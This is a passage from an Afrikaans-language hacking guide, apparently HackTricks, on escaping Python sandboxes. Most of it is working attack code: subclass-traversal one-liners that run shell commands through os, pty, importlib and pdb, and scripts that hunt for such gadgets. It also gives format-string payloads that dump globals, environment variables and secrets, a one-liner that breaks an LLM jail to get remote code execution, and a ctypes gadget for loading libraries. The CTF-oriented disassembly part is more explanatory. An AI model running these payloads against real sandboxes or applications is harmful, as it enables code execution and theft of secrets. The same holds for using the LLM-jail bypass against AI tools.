[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
|
|
|
|
#commands (not very common)
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
|
|
|
|
#pty (not very common)
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
|
|
|
|
#importlib
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
|
|
|
|
#pdb
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
|
```
|
|
Boonop, ons kan selfs soek watter modules kwaadwillige biblioteke laai:
|
|
```python
|
|
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
|
for b in bad_libraries_names:
|
|
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
|
|
print(f"{b}: {', '.join(vuln_libs)}")
|
|
|
|
"""
|
|
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
|
|
commands:
|
|
subprocess: BaseDependency, Origin, Version, Package
|
|
pty:
|
|
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
|
|
imp:
|
|
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
|
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
|
|
pdb:
|
|
"""
|
|
```
|
|
Boonop, as jy dink **ander biblioteke** mag in staat wees om **funksies aan te roep om opdragte uit te voer**, kan ons ook **filter op funksiename** binne die moontlike biblioteke:
|
|
```python
|
|
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
|
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
|
for b in bad_libraries_names + bad_func_names:
|
|
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
|
|
print(f"{b}: {', '.join(vuln_funcs)}")
|
|
|
|
"""
|
|
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
|
|
commands:
|
|
subprocess: BaseDependency, Origin, Version, Package
|
|
pty:
|
|
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
|
|
imp:
|
|
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
|
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
|
|
pip:
|
|
pdb:
|
|
system: _wrap_close, _wrap_close
|
|
getstatusoutput: CompletedProcess, Popen
|
|
getoutput: CompletedProcess, Popen
|
|
call: CompletedProcess, Popen
|
|
Popen: CompletedProcess, Popen
|
|
spawn:
|
|
import_module:
|
|
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
|
|
load_source: NullImporter, _HackedGetData
|
|
execfile:
|
|
execute:
|
|
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
|
"""
|
|
```
|
|
## Rekursiewe Soektog van Builtins, Globals...
|
|
|
|
> [!WARNING]
|
|
> Dit is net **fantasties**. As jy **soek na 'n objek soos globals, builtins, open of enigiets** gebruik net hierdie skrip om **rekursief plekke te vind waar jy daardie objek kan vind.**
|
|
```python
|
|
import os, sys # Import these to find more gadgets
|
|
|
|
SEARCH_FOR = {
|
|
# Misc
|
|
"__globals__": set(),
|
|
"builtins": set(),
|
|
"__builtins__": set(),
|
|
"open": set(),
|
|
|
|
# RCE libs
|
|
"os": set(),
|
|
"subprocess": set(),
|
|
"commands": set(),
|
|
"pty": set(),
|
|
"importlib": set(),
|
|
"imp": set(),
|
|
"sys": set(),
|
|
"pip": set(),
|
|
"pdb": set(),
|
|
|
|
# RCE methods
|
|
"system": set(),
|
|
"popen": set(),
|
|
"getstatusoutput": set(),
|
|
"getoutput": set(),
|
|
"call": set(),
|
|
"Popen": set(),
|
|
"popen": set(),
|
|
"spawn": set(),
|
|
"import_module": set(),
|
|
"__import__": set(),
|
|
"load_source": set(),
|
|
"execfile": set(),
|
|
"execute": set()
|
|
}
|
|
|
|
#More than 4 is very time consuming
|
|
MAX_CONT = 4
|
|
|
|
#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
|
|
#ALREADY_CHECKED = set()
|
|
|
|
def check_recursive(element, cont, name, orig_n, orig_i, execute):
|
|
# If bigger than maximum, stop
|
|
if cont > MAX_CONT:
|
|
return
|
|
|
|
# If already checked, stop
|
|
#if name and name in ALREADY_CHECKED:
|
|
# return
|
|
|
|
# Add to already checked
|
|
#if name:
|
|
# ALREADY_CHECKED.add(name)
|
|
|
|
# If found add to the dict
|
|
for k in SEARCH_FOR:
|
|
if k in dir(element) or (type(element) is dict and k in element):
|
|
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")
|
|
|
|
# Continue with the recursivity
|
|
for new_element in dir(element):
|
|
try:
|
|
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)
|
|
|
|
# WARNING: Calling random functions sometimes kills the script
|
|
# Comment this part if you notice that behaviour!!
|
|
if execute:
|
|
try:
|
|
if callable(getattr(element, new_element)):
|
|
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
|
|
except:
|
|
pass
|
|
|
|
except:
|
|
pass
|
|
|
|
# If in a dict, scan also each key, very important
|
|
if type(element) is dict:
|
|
for new_element in element:
|
|
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)
|
|
|
|
|
|
def main():
|
|
print("Checking from empty string...")
|
|
total = [""]
|
|
for i,element in enumerate(total):
|
|
print(f"\rStatus: {i}/{len(total)}", end="")
|
|
cont = 1
|
|
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)
|
|
|
|
print()
|
|
print("Checking loaded subclasses...")
|
|
total = "".__class__.__base__.__subclasses__()
|
|
for i,element in enumerate(total):
|
|
print(f"\rStatus: {i}/{len(total)}", end="")
|
|
cont = 1
|
|
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)
|
|
|
|
print()
|
|
print("Checking from global functions...")
|
|
total = [print, check_recursive]
|
|
for i,element in enumerate(total):
|
|
print(f"\rStatus: {i}/{len(total)}", end="")
|
|
cont = 1
|
|
check_recursive(element, cont, "", str(element), f"Global func {i}", False)
|
|
|
|
print()
|
|
print(SEARCH_FOR)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|
|
```
|
|
U kan die uitvoer van hierdie skrip op hierdie bladsy nagaan:
|
|
|
|
{{#ref}}
|
|
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
|
|
{{#endref}}
|
|
|
|
## Python Formaat String
|
|
|
|
As jy 'n **string** na python **stuur** wat geformateer gaan word, kan jy `{}` gebruik om toegang te verkry tot **python interne inligting.** Jy kan die vorige voorbeelde gebruik om toegang te verkry tot globals of builtins byvoorbeeld.
|
|
```python
|
|
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
|
CONFIG = {
|
|
"KEY": "ASXFYFGK78989"
|
|
}
|
|
|
|
class PeopleInfo:
|
|
def __init__(self, fname, lname):
|
|
self.fname = fname
|
|
self.lname = lname
|
|
|
|
def get_name_for_avatar(avatar_str, people_obj):
|
|
return avatar_str.format(people_obj = people_obj)
|
|
|
|
people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|
|
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
|
get_name_for_avatar(st, people_obj = people)
|
|
```
|
|
Let op hoe jy **toegang kan verkry tot eienskappe** op 'n normale manier met 'n **punt** soos `people_obj.__init__` en **dict element** met **haakies** sonder aanhalings `__globals__[CONFIG]`
|
|
|
|
Neem ook kennis dat jy `.__dict__` kan gebruik om elemente van 'n objek op te som `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
|
|
|
Sommige ander interessante eienskappe van formaat stringe is die moontlikheid om **funksies** **`str`**, **`repr`** en **`ascii`** in die aangeduide objek uit te voer deur **`!s`**, **`!r`**, **`!a`** onderskeidelik by te voeg:
|
|
```python
|
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
|
get_name_for_avatar(st, people_obj = people)
|
|
```
|
|
Boonop, dit is moontlik om **nuwe formatteraars** in klasse te kodeer:
|
|
```python
|
|
class HAL9000(object):
|
|
def __format__(self, format):
|
|
if (format == 'open-the-pod-bay-doors'):
|
|
return "I'm afraid I can't do that."
|
|
return 'HAL 9000'
|
|
|
|
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
|
#I'm afraid I can't do that.
|
|
```
|
|
**Meer voorbeelde** oor **formaat** **string** voorbeelde kan gevind word in [**https://pyformat.info/**](https://pyformat.info)
|
|
|
|
> [!WAARSKUWING]
|
|
> Kyk ook na die volgende bladsy vir gadgets wat r**ead sensitiewe inligting uit Python interne voorwerpe**:
|
|
|
|
{{#ref}}
|
|
../python-internal-read-gadgets.md
|
|
{{#endref}}
|
|
|
|
### Sensitiewe Inligting Ontsluiting Payloads
|
|
```python
|
|
{whoami.__class__.__dict__}
|
|
{whoami.__globals__[os].__dict__}
|
|
{whoami.__globals__[os].environ}
|
|
{whoami.__globals__[sys].path}
|
|
{whoami.__globals__[sys].modules}
|
|
|
|
# Access an element through several links
|
|
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
|
|
|
|
# Example from https://corgi.rip/posts/buckeye-writeups/
|
|
secret_variable = "clueless"
|
|
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
|
str(x) # Out: clueless
|
|
```
|
|
### LLM Jails omseiling
|
|
|
|
Van [hier](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
|
|
|
### Van formaat na RCE laai biblioteke
|
|
|
|
Volgens die [**TypeMonkey uitdagings van hierdie skrywe**](https://corgi.rip/posts/buckeye-writeups/) is dit moontlik om arbitrêre biblioteke vanaf skyf te laai deur die formaat string kwesbaarheid in python te misbruik.
|
|
|
|
As herinnering, elke keer as 'n aksie in python uitgevoer word, word 'n funksie uitgevoer. Byvoorbeeld `2*3` sal **`(2).mul(3)`** of **`{'a':'b'}['a']`** sal **`{'a':'b'}.__getitem__('a')`** wees.
|
|
|
|
Jy kan meer hiervan vind in die afdeling [**Python uitvoering sonder oproepe**](#python-execution-without-calls).
|
|
|
|
'n Python formaat string kwesbaarheid laat nie toe om 'n funksie uit te voer (dit laat nie toe om haakies te gebruik nie), so dit is nie moontlik om RCE te kry soos `'{0.system("/bin/sh")}'.format(os)`.\
|
|
Tog, dit is moontlik om `[]` te gebruik. Daarom, as 'n algemene python biblioteek 'n **`__getitem__`** of **`__getattr__`** metode het wat arbitrêre kode uitvoer, is dit moontlik om dit te misbruik om RCE te verkry.
|
|
|
|
Soek na 'n gadget soos dit in python, die skrywe stel hierdie [**Github soeknavraag**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) voor. Waar hy hierdie [een](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) gevind het:
|
|
```python
|
|
class LibraryLoader(object):
|
|
def __init__(self, dlltype):
|
|
self._dlltype = dlltype
|
|
|
|
def __getattr__(self, name):
|
|
if name[0] == '_':
|
|
raise AttributeError(name)
|
|
try:
|
|
dll = self._dlltype(name)
|
|
except OSError:
|
|
raise AttributeError(name)
|
|
setattr(self, name, dll)
|
|
return dll
|
|
|
|
def __getitem__(self, name):
|
|
return getattr(self, name)
|
|
|
|
cdll = LibraryLoader(CDLL)
|
|
pydll = LibraryLoader(PyDLL)
|
|
```
|
|
Hierdie toestel laat toe om 'n **biblioteek vanaf die skyf** te **laai**. Daarom is dit nodig om op een of ander manier die **biblioteek te skryf of op te laai** wat korrek saamgekom is na die aangevalde bediener.
|
|
```python
|
|
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
|
```
|
|
Die uitdaging misbruik eintlik 'n ander kwesbaarheid in die bediener wat toelaat dat willekeurige lêers op die bediener se skyf geskep word.
|
|
|
|
## Ontleding van Python-objekte
|
|
|
|
> [!NOTE]
|
|
> As jy wil **leer** oor **python bytecode** in diepte, lees hierdie **wonderlike** pos oor die onderwerp: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
|
|
|
In sommige CTFs kan jy voorsien word van die naam van 'n **aangepaste funksie waar die vlag** geleë is en jy moet die **binne werking** van die **funksie** ondersoek om dit te onttrek.
|
|
|
|
Dit is die funksie om te ondersoek:
|
|
```python
|
|
def get_flag(some_input):
|
|
var1=1
|
|
var2="secretcode"
|
|
var3=["some","array"]
|
|
if some_input == var2:
|
|
return "THIS-IS-THE-FALG!"
|
|
else:
|
|
return "Nope"
|
|
```
|
|
#### dir
|
|
```python
|
|
dir() #General dir() to find what we have loaded
|
|
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
|
dir(get_flag) #Get info tof the function
|
|
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
|
|
```
|
|
#### globals
|
|
|
|
`__globals__` en `func_globals`(Dieselfde) Verkry die globale omgewing. In die voorbeeld kan jy 'n paar ingevoerde modules, 'n paar globale veranderlikes en hul inhoud gesien:
|
|
```python
|
|
get_flag.func_globals
|
|
get_flag.__globals__
|
|
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
|
|
|
|
#If you have access to some variable value
|
|
CustomClassObject.__class__.__init__.__globals__
|
|
```
|
|
[**Sien hier meer plekke om globals te verkry**](#globals-and-locals)
|
|
|
|
### **Toegang tot die funksie kode**
|
|
|
|
**`__code__`** en `func_code`: Jy kan **toegang** verkry tot hierdie **attribuut** van die funksie om die **kode objek** van die funksie te **verkry**.
|
|
```python
|
|
# In our current example
|
|
get_flag.__code__
|
|
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1
|
|
|
|
# Compiling some python code
|
|
compile("print(5)", "", "single")
|
|
<code object <module> at 0x7f9ca01330c0, file "", line 1>
|
|
|
|
#Get the attributes of the code object
|
|
dir(get_flag.__code__)
|
|
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
|
```
|
|
### Verkryging van Kode-inligting
|
|
```python
|
|
# Another example
|
|
s = '''
|
|
a = 5
|
|
b = 'text'
|
|
def f(x):
|
|
return x
|
|
f(5)
|
|
'''
|
|
c=compile(s, "", "exec")
|
|
|
|
# __doc__: Get the description of the function, if any
|
|
print.__doc__
|
|
|
|
# co_consts: Constants
|
|
get_flag.__code__.co_consts
|
|
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
|
|
|
|
c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
|
|
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None
|
|
|
|
# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
|
|
get_flag.__code__.co_names
|
|
()
|
|
|
|
c.co_names
|
|
('a', 'b', 'f')
|
|
|
|
|
|
#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
|
|
get_flag.__code__.co_varnames
|
|
('some_input', 'var1', 'var2', 'var3')
|
|
|
|
#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
|
|
get_flag.__code__.co_cellvars
|
|
()
|
|
|
|
#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
|
|
get_flag.__code__.co_freevars
|
|
()
|
|
|
|
#Get bytecode
|
|
get_flag.__code__.co_code
|
|
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
|
```
|
|
### **Ontbinding van 'n funksie**
|
|
```python
|
|
import dis
|
|
dis.dis(get_flag)
|
|
2 0 LOAD_CONST 1 (1)
|
|
3 STORE_FAST 1 (var1)
|
|
|
|
3 6 LOAD_CONST 2 ('secretcode')
|
|
9 STORE_FAST 2 (var2)
|
|
|
|
4 12 LOAD_CONST 3 ('some')
|
|
15 LOAD_CONST 4 ('array')
|
|
18 BUILD_LIST 2
|
|
21 STORE_FAST 3 (var3)
|
|
|
|
5 24 LOAD_FAST 0 (some_input)
|
|
27 LOAD_FAST 2 (var2)
|
|
30 COMPARE_OP 2 (==)
|
|
33 POP_JUMP_IF_FALSE 40
|
|
|
|
6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!')
|
|
39 RETURN_VALUE
|
|
|
|
8 >> 40 LOAD_CONST 6 ('Nope')
|
|
43 RETURN_VALUE
|
|
44 LOAD_CONST 0 (None)
|
|
47 RETURN_VALUE
|
|
```
|
|
Let wel dat **as jy nie `dis` in die python sandbox kan invoer nie**, kan jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) verkry en dit lokaal **ontbind**. Jy sal nie die inhoud van die veranderlikes wat gelaai word (`LOAD_CONST`) sien nie, maar jy kan dit raai vanaf (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die offset van die veranderlike wat gelaai word, aandui.
|
|
```python
|
|
